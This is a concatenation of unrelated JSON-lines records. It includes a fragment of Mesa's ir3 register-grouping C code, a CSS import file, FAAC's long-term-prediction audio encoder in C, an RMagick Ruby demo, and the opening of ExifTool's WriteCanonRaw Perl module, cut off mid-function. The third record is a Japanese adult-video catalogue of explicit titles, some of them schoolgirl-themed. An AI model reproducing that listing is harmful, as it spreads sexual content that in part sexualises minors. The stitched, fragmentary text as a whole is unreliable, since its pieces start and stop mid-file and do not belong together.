**)arr)[idx] = in;\n}\nstatic struct group_ops arr_ops_out = { arr_get, arr_insert_mov_out };\nstatic struct group_ops arr_ops_in = { arr_get, arr_insert_mov_in };\n\nstatic struct ir3_instruction *instr_get(void *arr, int idx)\n{\n\treturn ssa(((struct ir3_instruction *)arr)->regs[idx+1]);\n}\nstatic void\ninstr_insert_mov(void *arr, int idx, struct ir3_instruction *instr)\n{\n\t((struct ir3_instruction *)arr)->regs[idx+1]->instr =\n\t\t\tir3_MOV(instr->block, instr, TYPE_F32);\n}\nstatic struct group_ops instr_ops = { instr_get, instr_insert_mov };\n\n/* verify that cur != instr, but cur is also not in instr's neighbor-list: */\nstatic bool\nin_neighbor_list(struct ir3_instruction *instr, struct ir3_instruction *cur, int pos)\n{\n\tint idx = 0;\n\n\tif (!instr)\n\t\treturn false;\n\n\tif (instr == cur)\n\t\treturn true;\n\n\tfor (instr = ir3_neighbor_first(instr); instr; instr = instr->cp.right)\n\t\tif ((idx++ != pos) && (instr == cur))\n\t\t\treturn true;\n\n\treturn false;\n}\n\nstatic void\ngroup_n(struct group_ops *ops, void *arr, unsigned n)\n{\n\tunsigned i, j;\n\n\t/* first pass, figure out what has conflicts and needs a mov\n\t * inserted. Do this up front, before starting to setup\n\t * left/right neighbor pointers. Trying to do it in a single\n\t * pass could result in a situation where we can't even setup\n\t * the mov's right neighbor ptr if the next instr also needs\n\t * a mov.\n\t */\nrestart:\n\tfor (i = 0; i < n; i++) {\n\t\tstruct ir3_instruction *instr = ops->get(arr, i);\n\t\tif (instr) {\n\t\t\tstruct ir3_instruction *left = (i > 0) ? ops->get(arr, i - 1) : NULL;\n\t\t\tstruct ir3_instruction *right = (i < (n-1)) ? ops->get(arr, i + 1) : NULL;\n\t\t\tbool conflict;\n\n\t\t\t/* check for left/right neighbor conflicts: */\n\t\t\tconflict = conflicts(instr->cp.left, left) ||\n\t\t\t\tconflicts(instr->cp.right, right);\n\n\t\t\t/* Mixing array elements and higher register classes\n\t\t\t * (ie. groups) doesn't really work out in RA. See:\n\t\t\t *\n\t\t\t * https://trello.com/c/DqeDkeVf/156-bug-with-stk-70frag\n\t\t\t */\n\t\t\tif (instr->regs[0]->flags & IR3_REG_ARRAY)\n\t\t\t\tconflict = true;\n\n\t\t\t/* we also can't have an instr twice in the group: */\n\t\t\tfor (j = i + 1; (j < n) && !conflict; j++)\n\t\t\t\tif (in_neighbor_list(ops->get(arr, j), instr, i))\n\t\t\t\t\tconflict = true;\n\n\t\t\tif (conflict) {\n\t\t\t\tops->insert_mov(arr, i, instr);\n\t\t\t\t/* inserting the mov may have caused a conflict\n\t\t\t\t * against the previous:\n\t\t\t\t */\n\t\t\t\tgoto restart;\n\t\t\t}\n\t\t}\n\t}\n\n\t/* second pass, now that we've inserted mov's, fixup left/right\n\t * neighbors. This is guaranteed to succeed, since by definition\n\t * the newly inserted mov's cannot conflict with anything.\n\t */\n\tfor (i = 0; i < n; i++) {\n\t\tstruct ir3_instruction *instr = ops->get(arr, i);\n\t\tif (instr) {\n\t\t\tstruct ir3_instruction *left = (i > 0) ? ops->get(arr, i - 1) : NULL;\n\t\t\tstruct ir3_instruction *right = (i < (n-1)) ? ops->get(arr, i + 1) : NULL;\n\n\t\t\tdebug_assert(!conflicts(instr->cp.left, left));\n\t\t\tif (left) {\n\t\t\t\tinstr->cp.left_cnt++;\n\t\t\t\tinstr->cp.left = left;\n\t\t\t}\n\n\t\t\tdebug_assert(!conflicts(instr->cp.right, right));\n\t\t\tif (right) {\n\t\t\t\tinstr->cp.right_cnt++;\n\t\t\t\tinstr->cp.right = right;\n\t\t\t}\n\t\t}\n\t}\n}\n\nstatic void\ninstr_find_neighbors(struct ir3_instruction *instr)\n{\n\tstruct ir3_instruction *src;\n\n\tif (ir3_instr_check_mark(instr))\n\t\treturn;\n\n\tif (instr->opc == OPC_META_FI)\n\t\tgroup_n(&instr_ops, instr, instr->regs_count - 1);\n\n\tforeach_ssa_src(src, instr)\n\t\tinstr_find_neighbors(src);\n}\n\n/* a bit of sadness.. we can't have \"holes\" in inputs from PoV of\n * register assignment, they still need to be grouped together. So\n * we need to insert dummy/padding instruction for grouping, and\n * then take it back out again before anyone notices.\n */\nstatic void\npad_and_group_input(struct ir3_instruction **input, unsigned n)\n{\n\tint i, mask = 0;\n\tstruct ir3_block *block = NULL;\n\n\tfor (i = n - 1; i >= 0; i--) {\n\t\tstruct ir3_instruction *instr = input[i];\n\t\tif (instr) {\n\t\t\tblock = instr->block;\n\t\t} else if (block) {\n\t\t\tinstr = ir3_NOP(block);\n\t\t\tir3_reg_create(instr, 0, IR3_REG_SSA); /* dummy dst */\n\t\t\tinput[i] = instr;\n\t\t\tmask |= (1 << i);\n\t\t}\n\t}\n\n\tgroup_n(&arr_ops_in, input, n);\n\n\tfor (i = 0; i < n; i++) {\n\t\tif (mask & (1 << i))\n\t\t\tinput[i] = NULL;\n\t}\n}\n\nstatic void\nfind_neighbors(struct ir3 *ir)\n{\n\tunsigned i;\n\n\t/* shader inputs/outputs themselves must be contiguous as well:\n\t *\n\t * NOTE: group inputs first, since we only insert mov's\n\t * *before* the conflicted instr (and that would go badly\n\t * for inputs). By doing inputs first, we should never\n\t * have a conflict on inputs.. pushing any conflict to\n\t * resolve to the outputs, for stuff like:\n\t *\n\t * MOV OUT[n], IN[m].wzyx\n\t *\n\t * NOTE: we assume here inputs/outputs are grouped in vec4.\n\t * This logic won't quite cut it if we don't align smaller\n\t * on vec4 boundaries\n\t */\n\tfor (i = 0; i < ir->ninputs; i += 4)\n\t\tpad_and_group_input(&ir->inputs[i], 4);\n\tfor (i = 0; i < ir->noutputs; i += 4)\n\t\tgroup_n(&arr_ops_out, &ir->outputs[i], 4);\n\n\tfor (i = 0; i < ir->noutputs; i++) {\n\t\tif (ir->outputs[i]) {\n\t\t\tstruct ir3_instruction *instr = ir->outputs[i];\n\t\t\tinstr_find_neighbors(instr);\n\t\t}\n\t}\n\n\tlist_for_each_entry (struct ir3_block, block, &ir->block_list, node) {\n\t\tfor (i = 0; i < block->keeps_count; i++) {\n\t\t\tstruct ir3_instruction *instr = block->keeps[i];\n\t\t\tinstr_find_neighbors(instr);\n\t\t}\n\n\t\t/* We also need to account for if-condition: */\n\t\tif (block->condition)\n\t\t\tinstr_find_neighbors(block->condition);\n\t}\n}\n\nvoid\nir3_group(struct ir3 *ir)\n{\n\tir3_clear_mark(ir);\n\tfind_neighbors(ir);\n}\n"} {"text": "@import url(\"../main.css\");\n@import url(\"../styles/normal/_default.css\");\n@import url(\"../styles/normal/_glass.css\");\n\n@import url(\"../styles/normal/glass-out-lime.css\");\n@import url(\"../styles/normal/glass-in-orange.css\");\n"} {"text": "柴崎みく最新番号\r\n【YTR-042】噂のあの薬を飲んだらチ●ポがデカチンになって何度も射精させられてしまった僕たち 4時間\r\n【JKS-002】JKディルドオナニー 1\r\n【DOKS-210】エロ唇(びる)スロート\r\n【TBAK-010】ヤリ捨てアパート MIKU 古着屋バイトと家無し女子\r\n【VNDS-2806】お母さんの看病フェラ\r\n【VRXS-054】聖水顔騎 総集編 5時間DX\r\n【DVH-595】こだわりの手コキ 4時間SP 35人のハンドメイド 18\r\n【VRXS-020】聖水顔騎 3</a>2010-07-30V&Rプランニング(マニアック)$$$深112分钟"} {"text": "/**************************************************************************\n\nThis software module was originally developed by\nNokia in the course of development of the MPEG-2 AAC/MPEG-4\nAudio standard ISO/IEC13818-7, 14496-1, 2 and 3.\nThis software module is an implementation of a part\nof one or more MPEG-2 AAC/MPEG-4 Audio tools as specified by the\nMPEG-2 aac/MPEG-4 Audio standard. ISO/IEC gives users of the\nMPEG-2aac/MPEG-4 Audio standards free license to this software module\nor modifications thereof for use in hardware or software products\nclaiming conformance to the MPEG-2 aac/MPEG-4 Audio standards. Those\nintending to use this software module in hardware or software products\nare advised that this use may infringe existing patents. The original\ndeveloper of this software module, the subsequent\neditors and their companies, and ISO/IEC have no liability for use of\nthis software module or modifications thereof in an\nimplementation. Copyright is not released for non MPEG-2 aac/MPEG-4\nAudio conforming products. The original developer retains full right to\nuse the code for the developer's own purpose, assign or donate the code to a\nthird party and to inhibit third party from using the code for non\nMPEG-2 aac/MPEG-4 Audio conforming products. This copyright notice\nmust be included in all copies or derivative works.\nCopyright (c)1997.\n\n***************************************************************************/\n/*\n * $Id: ltp.c,v 1.9 2003/06/26 19:20:31 knik Exp $\n */\n\n#include <stdio.h>\n#include <math.h>\n\n#include \"frame.h\"\n#include \"coder.h\"\n#include \"ltp.h\"\n#include \"tns.h\"\n#include \"filtbank.h\"\n#include \"util.h\"\n\n\n/* short double_to_int(double sig_in); */\n#define double_to_int(sig_in) \\\n ((sig_in) > 32767 ? 32767 : ( \\\n (sig_in) < -32768 ? -32768 : (sig_in)))\n\n#define _MDCT_SCALE\t\t512\n\n/* Purpose: Codebook for LTP weight coefficients. */\nstatic double codebook[CODESIZE] =\n{\n 0.570829,\n 0.696616,\n 0.813004,\n 0.911304,\n 0.984900,\n 1.067894,\n 1.194601,\n 1.369533\n};\n\n\nstatic double snr_pred(double *mdct_in, double *mdct_pred, int *sfb_flag, int *sfb_offset,\n int block_type, int side_info, int num_of_sfb)\n{\n int i, j, flen;\n double snr_limit;\n double num_bit, snr[NSFB_LONG];\n double temp1, temp2;\n double energy[BLOCK_LEN_LONG], snr_p[BLOCK_LEN_LONG];\n\n if (block_type != ONLY_SHORT_WINDOW)\n {\n flen = BLOCK_LEN_LONG;\n snr_limit = 1.e-30;\n } else {\n flen = BLOCK_LEN_SHORT;\n snr_limit = 1.e-20;\n }\n\n for (i = 0; i < flen; i++)\n {\n energy[i] = mdct_in[i] * mdct_in[i];\n snr_p[i] = (mdct_in[i] - mdct_pred[i]) * (mdct_in[i] - mdct_pred[i]);\n }\n\n num_bit = 0.0;\n\n for (i = 0; i < num_of_sfb; i++)\n {\n temp1 = 0.0;\n temp2 = 0.0;\n for (j = sfb_offset[i]; j < sfb_offset[i + 1]; j++)\n {\n temp1 += energy[j];\n temp2 += snr_p[j];\n }\n\n if (temp2 < snr_limit)\n temp2 = snr_limit;\n\n if (temp1 > 1.e-20)\n snr[i] = -10. * log10 (temp2 / temp1);\n else\n snr[i] = 0.0;\n\n sfb_flag[i] = 1;\n\n if (block_type != ONLY_SHORT_WINDOW)\n {\n if (snr[i] <= 0.0)\n {\n sfb_flag[i] = 0;\n for (j = sfb_offset[i]; j < sfb_offset[i + 1]; j++)\n mdct_pred[j] = 0.0;\n } else {\n num_bit += snr[i] / 6. * (sfb_offset[i + 1] - sfb_offset[i]);\n }\n }\n }\n\n if (num_bit < side_info)\n {\n// printf(\"LTP not used!, num_bit: %f \", num_bit);\n num_bit = 0.0;\n for (j = 0; j < flen; j++)\n mdct_pred[j] = 0.0;\n for (i = 0; i < num_of_sfb; i++)\n sfb_flag[i] = 0;\n } else {\n num_bit -= side_info;\n// printf(\"LTP used!, num_bit: %f \", num_bit);\n }\n\n return (num_bit);\n}\n\nstatic void prediction(double *buffer, double *predicted_samples, double *weight, int lag,\n int flen)\n{\n int i, offset;\n int num_samples;\n\n offset = NOK_LT_BLEN - flen / 2 - lag;\n\n num_samples = flen;\n if(NOK_LT_BLEN - offset < flen)\n num_samples = NOK_LT_BLEN - offset;\n\n for(i = 0; i < num_samples; i++)\n predicted_samples[i] = *weight * _MDCT_SCALE*buffer[offset++];\n for( ; i < flen; i++)\n predicted_samples[i] = 0.0;\n\n\t\n}\n\nstatic void w_quantize(double *freq, int *ltp_idx)\n{\n int i;\n double dist, low;\n\n low = 1.0e+10;\n dist = 0.0;\n for (i = 0; i < CODESIZE; i++)\n {\n dist = (*freq - codebook[i]) * (*freq - codebook[i]);\n if (dist < low)\n {\n low = dist;\n *ltp_idx = i;\n }\n }\n\n *freq = codebook[*ltp_idx];\n}\n\nstatic int pitch(double *sb_samples, double *x_buffer, int flen, int lag0, int lag1,\n double *predicted_samples, double *gain, int *cb_idx)\n{\n int i, j, delay;\n double corr1, corr2, lag_corr;\n double p_max, energy, lag_energy;\n\n /*\n * Below is a figure illustrating how the lag and the\n * samples in the buffer relate to each other.\n *\n * ------------------------------------------------------------------\n * | | | | |\n * | slot 1 | 2 | 3 | 4 |\n * | | | | |\n * ------------------------------------------------------------------\n *\n * lag = 0 refers to the end of slot 4 and lag = DELAY refers to the end\n * of slot 2. The start of the predicted frame is then obtained by\n * adding the length of the frame to the lag. Remember that slot 4 doesn't\n * actually exist, since it is always filled with zeros.\n *\n * The above short explanation was for long blocks. For short blocks the\n * zero lag doesn't refer to the end of slot 4 but to the start of slot\n * 4 - the frame length of a short block.\n *\n * Some extra code is then needed to handle those lag values that refer\n * to slot 4.\n */\n\n p_max = 0.0;\n lag_corr = lag_energy = 0.0;\n delay = lag0;\n\n\n\tfor (i = lag0; i<lag1; i++)\n\t{\n\t\tenergy\t= 0.0;\n\t\tcorr1\t= 0.0;\n\t\tfor (j=0; j < flen; j++)\n\t\t{\n\t\t\tif (j < i+BLOCK_LEN_LONG)\n\t\t\t{\n\t\t\t\tcorr1 += sb_samples[j] * _MDCT_SCALE * x_buffer[NOK_LT_BLEN - flen/2 - i + j];\n\t\t\t\tenergy += _MDCT_SCALE * x_buffer[NOK_LT_BLEN - flen/2 - i + j] * _MDCT_SCALE * x_buffer[NOK_LT_BLEN - flen/2 - i + j];\n\t\t\t}\n\t\t}\n if (energy != 0.0)\n corr2 = corr1 / sqrt(energy);\n else\n corr2 = 0.0;\n\t\t\n if (p_max < corr2)\n {\n p_max = corr2;\n delay = i;\n lag_corr = corr1;\n lag_energy = energy;\n }\n\t}\t\t\n /* Compute the gain. */\n if(lag_energy != 0.0)\n *gain = lag_corr / (1.010 * lag_energy);\n else\n *gain = 0.0;\n\n /* Quantize the gain. */\n w_quantize(gain, cb_idx);\n// printf(\"Delay: %d, Coeff: %f\", delay, *gain);\n\t\n /* Get the predicted signal. */\n prediction(x_buffer, predicted_samples, gain, delay, flen);\n\n\t\n return (delay);\n}\n\nstatic double ltp_enc_tf(faacEncHandle hEncoder,\n CoderInfo *coderInfo, double *p_spectrum, double *predicted_samples,\n double *mdct_predicted, int *sfb_offset,\n int num_of_sfb, int last_band, int side_info,\n int *sfb_prediction_used, TnsInfo *tnsInfo)\n{\n double bit_gain;\n\n /* Transform prediction to frequency domain. */\n FilterBank(hEncoder, coderInfo, predicted_samples, mdct_predicted,\n NULL, MNON_OVERLAPPED);\n\t\n /* Apply TNS analysis filter to the predicted spectrum. */\n if(tnsInfo != NULL)\n TnsEncodeFilterOnly(tnsInfo, num_of_sfb, num_of_sfb, coderInfo->block_type, sfb_offset,\n mdct_predicted);\n\t\n /* Get the prediction gain. */\n bit_gain = snr_pred(p_spectrum, mdct_predicted, sfb_prediction_used,\n sfb_offset, side_info, last_band, coderInfo->nr_of_sfb);\n\n return (bit_gain);\n}\n\nvoid LtpInit(faacEncHandle hEncoder)\n{\n int i;\n unsigned int channel;\n\n for (channel = 0; channel < hEncoder->numChannels; channel++) {\n LtpInfo *ltpInfo = &(hEncoder->coderInfo[channel].ltpInfo);\n\n ltpInfo->buffer = AllocMemory(NOK_LT_BLEN * sizeof(double));\n ltpInfo->mdct_predicted = AllocMemory(2*BLOCK_LEN_LONG*sizeof(double));\n ltpInfo->time_buffer = AllocMemory(BLOCK_LEN_LONG*sizeof(double));\n ltpInfo->ltp_overlap_buffer = AllocMemory(BLOCK_LEN_LONG*sizeof(double));\n\n for (i = 0; i < NOK_LT_BLEN; i++)\n ltpInfo->buffer[i] = 0;\n\n ltpInfo->weight_idx = 0;\n for(i = 0; i < MAX_SHORT_WINDOWS; i++)\n ltpInfo->sbk_prediction_used[i] = ltpInfo->delay[i] = 0;\n\n for(i = 0; i < MAX_SCFAC_BANDS; i++)\n ltpInfo->sfb_prediction_used[i] = 0;\n\n ltpInfo->side_info = LEN_LTP_DATA_PRESENT;\n\n for(i = 0; i < 2 * BLOCK_LEN_LONG; i++)\n ltpInfo->mdct_predicted[i] = 0.0;\n\n\t}\n}\n\nvoid LtpEnd(faacEncHandle hEncoder)\n{\n unsigned int channel;\n\n for (channel = 0; channel < hEncoder->numChannels; channel++) {\n LtpInfo *ltpInfo = &(hEncoder->coderInfo[channel].ltpInfo);\n\n\tif (ltpInfo->buffer)\n\t FreeMemory(ltpInfo->buffer);\n\tif (ltpInfo->mdct_predicted)\n\t FreeMemory(ltpInfo->mdct_predicted);\n\tif (ltpInfo->time_buffer)\n\t FreeMemory(ltpInfo->time_buffer);\n\tif (ltpInfo->ltp_overlap_buffer)\n\t FreeMemory(ltpInfo->ltp_overlap_buffer);\n }\n}\n\nint LtpEncode(faacEncHandle hEncoder,\n CoderInfo *coderInfo,\n LtpInfo *ltpInfo,\n TnsInfo *tnsInfo,\n double *p_spectrum,\n double *p_time_signal)\n{\n int i, last_band;\n double num_bit[MAX_SHORT_WINDOWS];\n double *predicted_samples;\n\n ltpInfo->global_pred_flag = 0;\n ltpInfo->side_info = 0;\n\n predicted_samples = (double*)AllocMemory(2*BLOCK_LEN_LONG*sizeof(double));\n\n switch(coderInfo->block_type)\n {\n case ONLY_LONG_WINDOW:\n case LONG_SHORT_WINDOW:\n case SHORT_LONG_WINDOW:\n last_band = (coderInfo->nr_of_sfb < MAX_LT_PRED_LONG_SFB) ? coderInfo->nr_of_sfb : MAX_LT_PRED_LONG_SFB;\n\n ltpInfo->delay[0] =\n pitch(p_time_signal, ltpInfo->buffer, 2 * BLOCK_LEN_LONG,\n 0, 2 * BLOCK_LEN_LONG, predicted_samples, &ltpInfo->weight,\n &ltpInfo->weight_idx);\n\n\t\t\n num_bit[0] =\n ltp_enc_tf(hEncoder, coderInfo, p_spectrum, predicted_samples,\n ltpInfo->mdct_predicted,\n coderInfo->sfb_offset, coderInfo->nr_of_sfb,\n last_band, ltpInfo->side_info, ltpInfo->sfb_prediction_used,\n tnsInfo);\n\n\n\t\tltpInfo->global_pred_flag = (num_bit[0] == 0.0) ? 0 : 1;\n\n if(ltpInfo->global_pred_flag)\n for (i = 0; i < coderInfo->sfb_offset[last_band]; i++)\n p_spectrum[i] -= ltpInfo->mdct_predicted[i];\n else\n ltpInfo->side_info = 1;\n\n break;\n\n default:\n break;\n }\n\n if (predicted_samples) FreeMemory(predicted_samples);\n\n return (ltpInfo->global_pred_flag);\n}\n\nvoid LtpReconstruct(CoderInfo *coderInfo, LtpInfo *ltpInfo, double *p_spectrum)\n{\n int i, last_band;\n\n if(ltpInfo->global_pred_flag)\n {\n switch(coderInfo->block_type)\n {\n case ONLY_LONG_WINDOW:\n case LONG_SHORT_WINDOW:\n case SHORT_LONG_WINDOW:\n last_band = (coderInfo->nr_of_sfb < MAX_LT_PRED_LONG_SFB) ?\n coderInfo->nr_of_sfb : MAX_LT_PRED_LONG_SFB;\n\n for (i = 0; i < coderInfo->sfb_offset[last_band]; i++)\n p_spectrum[i] += ltpInfo->mdct_predicted[i];\n break;\n\n default:\n break;\n }\n }\n}\n\nvoid LtpUpdate(LtpInfo *ltpInfo, double *time_signal,\n double *overlap_signal, int block_size_long)\n{\n int i;\n\n for(i = 0; i < NOK_LT_BLEN - 2 * block_size_long; i++)\n ltpInfo->buffer[i] = ltpInfo->buffer[i + block_size_long];\n\n for(i = 0; i < block_size_long; i++)\n {\n ltpInfo->buffer[NOK_LT_BLEN - 2 * block_size_long + i] = time_signal[i];\n ltpInfo->buffer[NOK_LT_BLEN - block_size_long + i] = overlap_signal[i];\n }\n}\n"} {"text": "require 'rmagick'\n\n# Demonstrate the Image#modulate method\n\nimg = Magick::Image.read('images/Flower_Hat.jpg').first\n\nimg = img.modulate(0.85)\n\nimg.write('modulate.jpg')\nexit\n"} {"text": "#------------------------------------------------------------------------------\n# File: WriteCanonRaw.pl\n#\n# Description: Write Canon RAW (CRW and CR2) meta information\n#\n# Revisions: 01/25/2005 - P. Harvey Created\n# 09/16/2010 - PH Added ability to write XMP in CRW images\n#------------------------------------------------------------------------------\npackage Image::ExifTool::CanonRaw;\n\nuse strict;\nuse vars qw($VERSION $AUTOLOAD %crwTagFormat);\nuse Image::ExifTool::Fixup;\n\n# map for adding directories to CRW\nmy %crwMap = (\n XMP => 'CanonVRD',\n CanonVRD => 'Trailer',\n);\n\n# mappings to from RAW tagID to MakerNotes tagID\n# (Note: upper two bits of RawTagID are zero)\nmy %mapRawTag = (\n # RawTagID => Canon TagID\n 0x080b => 0x07, # CanonFirmwareVersion\n 0x0810 => 0x09, # OwnerName\n 0x0815 => 0x06, # CanonImageType\n 0x1028 => 0x03, # (unknown if no tag name specified)\n 0x1029 => 0x02, # FocalLength\n 0x102a => 0x04, # CanonShotInfo\n 0x102d => 0x01, # CanonCameraSettings\n 0x1033 => 0x0f, # CanonCustomFunctions (only verified for 10D)\n 0x1038 => 0x12, # CanonAFInfo\n 0x1039 => 0x13,\n 0x1093 => 0x93,\n 0x10a8 => 0xa8,\n 0x10a9 => 0xa9, # WhiteBalanceTable\n 0x10aa => 0xaa,\n 0x10ae => 0xae, # ColorTemperature\n 0x10b4 => 0xb4, # ColorSpace\n 0x10b5 => 0xb5,\n 0x10c0 => 0xc0,\n 0x10c1 => 0xc1,\n 0x180b => 0x0c, # SerialNumber\n 0x1817 => 0x08, # FileNumber\n 0x1834 => 0x10,\n 0x183b => 0x15,\n);\n# translation from Rotation to Orientation values\nmy %mapRotation = (\n 0 => 1,\n 90 => 6,\n 180 => 3,\n 270 => 8,\n);\n\n\n#------------------------------------------------------------------------------\n# Initialize buffers for building MakerNotes from RAW data\n# Inputs: 0) ExifTool object reference\nsub InitMakerNotes($)\n{\n my $et = shift;\n $$et{MAKER_NOTE_INFO} = {\n Entries => { }, # directory entries keyed by tagID\n ValBuff => \"\\0\\0\\0\\0\", # value data buffer (start with zero nextIFD pointer)\n FixupTags => { }, # flags for tags with data in value buffer\n };\n}\n\n#------------------------------------------------------------------------------\n# Build maker notes from CanonRaw information\n# Inputs: 0) ExifTool object reference, 1) raw tag ID, 2) reference to tagInfo\n# 3) reference to value, 4) format name, 5) count\n# Notes: This will build the directory in the order the tags are found in the CRW\n# file, which isn't sequential (but Canon's version isn't sequential either...)\nsub BuildMakerNotes($$$$$$)\n{\n my ($et, $rawTag, $tagInfo, $valuePt, $formName, $count) = @_;\n\n my $tagID = $mapRawTag{$rawTag} || return;\n $formName or warn(sprintf \"No format for tag 0x%x!\\n\",$rawTag), return;\n # special case: ignore user comment because it gets saved in EXIF\n # (and has the same raw tagID as CanonFileDescription)\n return if $tagInfo and $$tagInfo{Name} eq 'UserComment';\n my $format = $Image::ExifTool::Exif::formatNumber{$formName};\n my $fsiz = $Image::ExifTool::Exif::formatSize[$format];\n my $size = length($$valuePt);\n my $value;\n if ($count and $size != $count * $fsiz) {\n if ($size < $count * $fsiz) {\n warn sprintf(\"Value too short for raw tag 0x%x\\n\",$rawTag);\n return;\n }\n # shorten value appropriately\n $size = $count * $fsiz;\n $value = substr($$valuePt, 0, $size);\n } else {\n $count = $size / $fsiz;\n $value = $$valuePt;\n }\n my $offsetVal;\n my $makerInfo = $$et{MAKER_NOTE_INFO};\n if ($size > 4) {\n my $len = length $makerInfo->{ValBuff};\n $offsetVal = Set32u($len);\n $makerInfo->{ValBuff} .= $value;\n # pad to an even number of bytes\n $size & 0x01 and $makerInfo->{ValBuff} .= \"\\0\";\n # set flag indicating that this tag needs a fixup\n $makerInfo->{FixupTags}->{$tagID} = 1;\n } else {\n $offsetVal = $value;\n $size < 4 and $offsetVal .= \"\\0\" x (4 - $size);\n }\n $makerInfo->{Entries}->{$tagID} = Set16u($tagID) . Set16u($format) .\n Set32u($count) . $offsetVal;\n}\n\n#------------------------------------------------------------------------------\n# Finish building and save MakerNotes\n# Inputs: 0) ExifTool object reference\nsub SaveMakerNotes($)\n{\n my $et = shift;\n # save maker notes\n my $makerInfo = $$et{MAKER_NOTE_INFO};\n delete $$et{MAKER_NOTE_INFO};\n my $dirEntries = $makerInfo->{Entries};\n my $numEntries = scalar(keys %$dirEntries);\n my $fixup = new Image::ExifTool::Fixup;\n return unless $numEntries;\n # build the MakerNotes directory\n my $makerNotes = Set16u($numEntries);\n my $tagID;\n # write the entries in proper tag order (even though Canon doesn't do this...)\n foreach $tagID (sort { $a <=> $b } keys %$dirEntries) {\n $makerNotes .= $$dirEntries{$tagID};\n next unless $makerInfo->{FixupTags}->{$tagID};\n # add fixup for this pointer\n $fixup->AddFixup(length($makerNotes) - 4);\n }\n # save position of maker notes for pointer fixups\n $fixup->{Shift} += length($makerNotes);\n $$et{MAKER_NOTE_FIXUP} = $fixup;\n $$et{MAKER_NOTE_BYTE_ORDER} = GetByteOrder();\n # add value data\n $makerNotes .= $makerInfo->{ValBuff};\n # get MakerNotes tag info\n my $tagTablePtr = Image::ExifTool::GetTagTable('Image::ExifTool::Exif::Main');\n my $tagInfo = $et->GetTagInfo($tagTablePtr, 0x927c, \\$makerNotes);\n # save the MakerNotes\n $et->FoundTag($tagInfo, $makerNotes);\n # save the garbage collection some work later\n delete $makerInfo->{Entries};\n delete $makerInfo->{ValBuff};\n delete $makerInfo->{FixupTags};\n # also generate Orientation tag since Rotation isn't transferred from RAW info\n my $rotation = $et->GetValue('Rotation', 'ValueConv');\n if (defined $rotation and defined $mapRotation{$rotation}) {\n $tagInfo = $et->GetTagInfo($tagTablePtr, 0x112);\n $et->FoundTag($tagInfo, $mapRotation{$rotation});\n }\n}\n\n#------------------------------------------------------------------------------\n# Check CanonRaw information\n# Inputs: 0) ExifTool object reference, 1) tagInfo hash reference,\n# 2) raw value reference\n# Returns: error string or undef (and may change value) on success\nsub CheckCanonRaw($$$)\n{\n my ($et, $tagInfo, $valPtr) = @_;\n my $tagName = $$tagInfo{Name};\n if ($tagName eq 'JpgFromRaw' or $tagName eq 'ThumbnailImage') {\n unless ($$valPtr =~ /^\\xff\\xd8/ or $et->Options('IgnoreMinorErrors')) {\n return '[minor] Not a valid image';\n }\n } else {\n my $format = $$tagInfo{Format};\n my $count = $$tagInfo{Count};\n unless ($format) {\n my $tagType = ($$tagInfo{TagID} >> 8) & 0x38;\n $format = $crwTagFormat{$tagType};\n }\n $format and return Image::ExifTool::CheckValue($valPtr, $format, $count);\n }\n return undef;\n}\n\n#------------------------------------------------------------------------------\n# Write CR2 file\n# Inputs: 0) ExifTool ref, 1) dirInfo reference (must have read first 16 bytes)\n# 2) tag table reference\n# Returns: true on success\nsub WriteCR2($$$)\n{\n my ($et, $dirInfo, $tagTablePtr) = @_;\n my $dataPt = $$dirInfo{DataPt} or return 0;\n my $outfile = $$dirInfo{OutFile} or return 0;\n $$dirInfo{RAF} or return 0;\n\n # check CR2 signature\n if ($$dataPt !~ /^.{8}CR\\x02\\0/s) {\n my ($msg, $minor);\n if ($$dataPt =~ /^.{8}CR/s) {\n $msg = 'Unsupported Canon RAW file. May cause problems if rewritten';\n $minor = 1;\n } elsif ($$dataPt =~ /^.{8}\\xba\\xb0\\xac\\xbb/s) {\n $msg = 'Can not currently write Canon 1D RAW images';\n } else {\n $msg = 'Unrecognized Canon RAW file';\n }\n return 0 if $et->Error($msg, $minor);\n }\n\n # CR2 has a 16-byte header\n $$dirInfo{NewDataPos} = 16;\n my $newData = $et->WriteDirectory($dirInfo, $tagTablePtr);\n return 0 unless defined $newData;\n unless ($$dirInfo{LastIFD}) {\n $et->Error(\"CR2 image IFD may not be deleted\");\n return 0;\n }\n\n if (length($newData)) {\n # build 16 byte header for Canon RAW file\n my $header = substr($$dataPt, 0, 16);\n # set IFD0 pointer (may not be 16 if edited by PhotoMechanic)\n Set32u(16, \\$header, 4);\n # last 4 bytes of header is pointer to last IFD\n Set32u($$dirInfo{LastIFD}, \\$header, 12);\n Write($outfile, $header, $newData) or return 0;\n undef $newData; # free memory\n\n # copy over image data now if necessary\n if (ref $$dirInfo{ImageData}) {\n $et->CopyImageData($$dirInfo{ImageData}, $outfile) or return 0;\n delete $$dirInfo{ImageData};\n }\n }\n return 1;\n}\n\n#------------------------------------------------------------------------------\n# Write CanonRaw (CRW) information\n# Inputs: 0) ExifTool object reference, 1) source dirInfo reference,\n# 2) tag table reference\n# Returns: true on success\n# Notes: Increments ExifTool CHANGED flag for each tag changed This routine is\n# different from all of the other write routines because Canon RAW files are\n# designed well! So it isn't necessary to buffer the data in memory before\n# writing it out. Therefore this routine doesn't return the directory data as\n# the rest of the Write routines do. Instead, it writes to the dirInfo\n# OutFile on the fly --> much faster, efficient, and less demanding on memory!\nsub WriteCanonRaw($$$)\n{\n my ($et, $dirInfo, $tagTablePtr) = @_;\n $et or return 1; # allow dummy access to autoload this package\n my $blockStart = $$dirInfo{DirStart};\n my $blockSize = $$dirInfo{DirLen};\n my $raf = $$dirInfo{RAF} or return 0;\n my $outfile = $$dirInfo{OutFile} or return 0;\n my $outPos = $$dirInfo{OutPos} or return 0;\n my $outBase = $outPos;\n my $verbose = $et->Options('Verbose');\n my $out = $et->Options('TextOut');\n my ($buff, $tagInfo);\n\n # 4 bytes at end of block give directory position within block\n $raf->Seek($blockStart+$blockSize-4, 0) or return 0;\n $raf->Read($buff, 4) == 4 or return 0;\n my $dirOffset = Get32u(\\$buff,0) + $blockStart;\n $raf->Seek($dirOffset, 0) or return 0;\n $raf->Read($buff, 2) == 2 or return 0;\n my $entries = Get16u(\\$buff,0); # get number of entries in directory\n # read the directory (10 bytes per entry)\n $raf->Read($buff, 10 * $entries) == 10 * $entries or return 0;\n my $newDir = '';\n\n # get hash of new information keyed by tagID\n my $newTags = $et->GetNewTagInfoHash($tagTablePtr);\n\n # generate list of tags to add or delete (currently, we only allow JpgFromRaw\n # and ThumbnailImage, to be added or deleted from the root CanonRaw directory)\n my (@addTags, %delTag);\n if ($$dirInfo{Nesting} == 0) {\n my $tagID;\n foreach 